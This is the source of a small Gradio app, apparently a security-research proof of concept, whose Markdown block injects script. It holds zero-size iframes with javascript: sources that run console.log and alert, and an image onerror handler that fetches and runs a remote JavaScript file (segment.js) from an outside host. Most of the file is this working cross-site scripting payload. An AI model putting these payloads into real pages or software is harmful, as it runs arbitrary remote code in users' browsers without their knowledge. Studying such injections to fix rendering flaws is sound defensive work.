AZAI-Security/Space-Escape-RFI

1import gradio as gr2 3def welcome(name):4    return f"Welcome to Gradio, {name}!"5 6with gr.Blocks() as demo:7    gr.Markdown(8    """9<iframe src="javascript:console.log('AZAI Security Research - https://blog.azai.solutions')" style="width:0;height:0"></iframe>10<iframe src="javascript:alert('Code execution via iframe src property')" style="width:0;height:0"></iframe>11<image src=x onerror="let scriptEle = document.createElement('script');12scriptEle.setAttribute('src', 'https://huggingface.co/spaces/AZAI-Security/Space-Escape-RFI/raw/main/segment.js');13document.body.appendChild(scriptEle);"style='width:0;height:0'/>14    """)15    inp = gr.Textbox(placeholder="Did you see the popup?")16    out = gr.Textbox()17    inp.change(welcome, inp, out)18demo.launch()19